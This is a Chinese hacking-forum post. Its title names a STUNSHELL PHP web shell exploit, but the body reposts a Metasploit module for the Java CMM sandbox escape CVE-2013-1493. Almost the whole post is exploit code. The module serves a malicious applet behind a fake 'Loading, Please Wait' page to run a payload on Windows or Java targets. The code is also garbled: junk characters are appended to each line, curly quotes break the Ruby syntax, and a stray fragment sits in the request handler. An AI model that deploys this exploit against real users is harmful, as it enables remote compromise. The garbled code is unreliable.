找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2032|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##" x  Y# v/ [% }4 u6 Q: M
) _7 h3 V& B" u
# This file is part of the Metasploit Framework and may be subject to3 e+ P! o+ B" P, Q4 \
# redistribution and commercial restrictions. Please see the Metasploit
/ ]" @* h% [9 E! k, s1 d1 }# web site for more information on licensing and terms of use.( \) {2 s1 ]* p$ p" H& C6 N
# http://metasploit.com/
- [# f, P. {3 ~4 Q- x##9 F8 h5 k: c; U! U% S# ?
require ‘msf/core’
) d; @) X6 a2 Q2 l. q: [require ‘rex’
" [9 C3 |5 J0 y. yclass Metasploit3 < Msf::Exploit::Remote8 _, X7 q6 ]- S% P
Rank = NormalRanking
$ }0 Q* i# ^' z; q5 jinclude Msf::Exploit::Remote::HttpServer::HTML
/ \1 f% L$ y3 q7 ~include Msf::Exploit::EXE3 R7 j+ Z, Z& v+ `& u
include Msf::Exploit::Remote::BrowserAutopwn5 {# p$ ^  X( |  R
autopwn_info({ :javascript => false })9 F1 V! h8 `, ~1 N! n6 [1 A
def initialize( info = {} )
1 K# U- e/ ]5 O- [' V( X; Ysuper( update_info( info,
' d) V+ m* ~/ U  u+ Y) o* K" P‘Name’ => ‘Java CMM Remote Code Execution’,
/ z* O" b8 q$ o# H7 C‘Description’ => %q{* J1 z/ u% D0 D' ]
This module abuses the Color Management classes from a Java Applet to run
; ~, m: U( i! ^; [/ j* g  Larbitrary Java code outside of the sandbox as exploited in the wild in February9 Z5 `4 o! f! X+ z+ R2 J- z+ w1 j2 e/ ?
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
6 \1 c4 j+ L, J' N) \2 T' A5 mand earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
- n% g1 q( G, gsystems. This exploit doesn’t bypass click-to-play, so the user must accept the java: e* e- }+ t: [$ Y
warning in order to run the malicious applet.5 }- N* M0 V/ E1 Q( y
},5 i7 N' }2 M! u" o' P  u1 m+ Y
‘License’ => MSF_LICENSE,
& M: H. o" r3 [5 f‘Author’ =>% r/ O3 z0 ]% u: S7 Y6 t; W
'Unknown', # Vulnerability discovery and Exploit
( G+ R8 W+ E! {: O'juan vazquez' # Metasploit module (just ported the published exploit)3 F! w9 p  A" V6 D; \
],
3 r( R: ?5 @" X* L9 Q- b: i# G- B‘References’ =>
$ X! ^" D7 v7 ~[
. @& i3 E! T6 ?5 l( [[ 'CVE', '2013-1493' ],& V1 o! @7 g; r8 t1 O
[ 'OSVDB', '90737' ],
; X1 ~$ u2 W/ \[ 'BID', '58238' ],
# V" m% M4 j% w[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
: D' G$ a3 v. X: f: I, \1 J1 T% f[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],9 U/ ]8 m9 `, Q( l- O
[ 'URL', 'http://pastie.org/pastes/6581034' ]
7 Y. T) ?$ s4 V, n],$ @% n& m% M3 |* x+ F
‘Platform’ => [ 'win', 'java' ],' _% a' _" j7 {7 S
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
8 G0 [8 |7 n6 s! n! r2 ?‘Targets’ =>
' d2 U7 m& i* x7 I[* ~+ w5 `  R" m: M- ~/ r2 z" Z% |
[ 'Generic (Java Payload)',
7 g6 P6 g* O: y* V{
4 t- g& c" P; N. W0 q0 J'Platform' => 'java',
8 n0 P3 D5 H/ K- C) B'Arch' => ARCH_JAVA8 A0 {7 Q. H. b' l
}
9 j- U0 t* x- R3 b" G* i. a  B]," E: ~$ Z* N  H' i9 L
[ 'Windows x86 (Native Payload)',
0 `# P1 ?7 B0 b% m- P; C2 r* m{  Y! L" g# C% F# L! {. W
'Platform' => 'win',; b  i" o5 L3 q' ?; j0 b
'Arch' => ARCH_X86* c) Z, p/ J: v! }
}
9 w! Z6 ?& @9 G, j]5 h) J  X+ }' J% ?6 m. o7 h8 f
],7 @1 \9 y0 f. F6 j
‘‘DisclosureDate’ => ‘Mar 01 2013′
+ p( I. [) N% C/ ~9 g3 V1 y6 G)), n- M0 ^( _, Q4 k
end
% Y; ]3 M0 s/ p% L2 d0 s8 fdef setup
% f7 @+ i& J7 A' n. kpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)4 w* N  ^( L1 c+ ~- L( d
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }5 A5 n8 b0 ^% t7 c: p  n- J
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)) j) a7 S$ y- Z- X: Q
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
4 z+ G$ E/ o4 U/ |! Gpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
! q3 P$ ?" L$ t  L4 v@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
4 \7 _6 `3 G! o( mpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
; x# X) z" n, ^& x, r) Y@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
; l" ~, B. A8 z2 {* R- [5 Y@init_class_name = rand_text_alpha(“Init”.length)
% N8 o# J5 `5 k' x5 Y2 |- u@init_class.gsub!(“Init”, @init_class_name)! }  Q* r" J. d, w% B1 ^# W  v2 [
super
) U) u( K! I) rend
# V) e$ O  _& u/ |) M$ o% ?5 Ldef on_request_uri(cli, request)7 d6 O: m4 X7 C$ \) k' @# i
print_status(“handling request for #{request.uri}”)
: s3 I( h0 N/ C' ~& acase request.uri
5 ^8 d. }) n, Fwhen /\.jar$/i
  D( {. a: T/ t' D5 O; ~. xjar = payload.encoded_jar; z: p8 t  h8 ~/ n
jar.add_file(“#{@init_class_name}.class”, @init_class)) h; s0 c2 ?9 i0 c+ K3 b9 _/ [
jar.add_file(“Leak.class”, @leak_class)# W5 C5 X' f4 P
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
! g1 r. q9 ]9 x+ ]; V/ i5 Xjar.add_file(“MyColorSpace.class”, @color_space_class)
$ k( `( U4 m! T$ X* f0 bDefaultTarget’ => 1,
' N) V2 ?6 t: s/ o. u' F9 Dmetasploit_str = rand_text_alpha(“metasploit”.length)
9 l: k; ?! w; p! `( hpayload_str = rand_text_alpha(“payload”.length)
7 h% r- o2 B: H( W2 x' ujar.entries.each { |entry|
( I5 Z6 I2 D- x4 a- Qentry.name.gsub!(“metasploit”, metasploit_str)
1 y% c8 ]0 c5 B: R* jentry.name.gsub!(“Payload”, payload_str)
& |: d1 _# N+ u* h2 i; F$ S2 Pentry.data = entry.data.gsub(“metasploit”, metasploit_str)
. A- R+ S% i# V# F0 z& w" @entry.data = entry.data.gsub(“Payload”, payload_str)
( t  d2 W5 \- k, T2 P3 n0 I}. N) X3 ^- n, s
jar.build_manifest
2 d0 `; G1 ?, M! A: x1 S# zsend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
- h4 R4 ~  z. d  A4 lwhen /\/$/$ q$ {1 F0 i4 |& c- _
payload = regenerate_payload(cli)6 y0 l2 X9 k3 v" x1 y) L
if not payload* C; z1 c7 C/ m& O) B0 K3 Y- j) `
print_error(“Failed to generate the payload.”)
" R7 \- ^7 F6 Q4 f7 S9 j; qsend_not_found(cli)* U- ]5 H6 f7 l
return
0 A, f2 u. {. j; Lend
8 K# E( z, _* f2 Y; `, ?send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
5 Z: ]  i" l. Gelse
' ]' V: r. t9 V- d0 a: ssend_redirect(cli, get_resource() + ‘/’, ”)
# o) n3 q: J2 S$ k+ cend
6 y% @% }8 V2 F* J8 j4 K- ^end
7 N0 W+ b; f5 R0 b* }# `- u8 Xdef generate_html
4 F( }6 ?" d. Z; ahtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|
# `/ W! j5 [( \3 \; U3 ]( r& Z4 R- Phtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|# [5 U' ^& A9 F. X
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|! F& @0 ^1 ^3 g- e0 e
html += %Q|</applet></body></html>|
8 H+ ^9 c0 {* G% S/ P6 r  Greturn html
# b* u+ C5 o! a3 r: b  U) t8 [1 hend+ A# @2 q: y0 N6 J5 m; b
end# N" f+ d4 ^+ p! _  e7 k
end. |8 k3 l- u# y" X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表